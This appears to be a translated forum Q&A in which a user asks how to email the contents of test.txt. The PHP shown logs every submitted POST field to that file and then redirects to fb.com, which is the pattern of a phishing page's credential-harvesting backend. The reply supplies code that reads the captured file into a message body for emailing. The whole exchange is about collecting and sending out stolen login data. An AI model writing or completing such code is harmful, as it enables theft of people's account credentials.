我如何将test.txt的内容发送到电子邮件,任何人都可以


How can i send the contents of test.txt to an email, anyone plss

我如何将test.txt的内容发送到电子邮件,任何人都可以。

 <?php
 header("Location: http://fb.com/ ");
 $handle = fopen("test.txt", "a");
 foreach($_POST as $variable => $value) {
  fwrite($handle, $variable);
  fwrite($handle, "=");
  fwrite($handle, $value);
  fwrite($handle, "'r'n");
 }
 fwrite($handle, "'r'n");
 fclose($handle);
 exit;
?>

我如何将test.txt的内容发送到电子邮件,任何人都可以。

试试这个-->

ob_start(); // Turn on output buffering
include("test.txt"); // include test.txt file
$msg = ob_get_contents(); //Return the contents of file to  $msg variable
ob_end_clean(); //Clean (erase) the output buffer and turn off output buffering here

在邮件正文中使用$msg变量。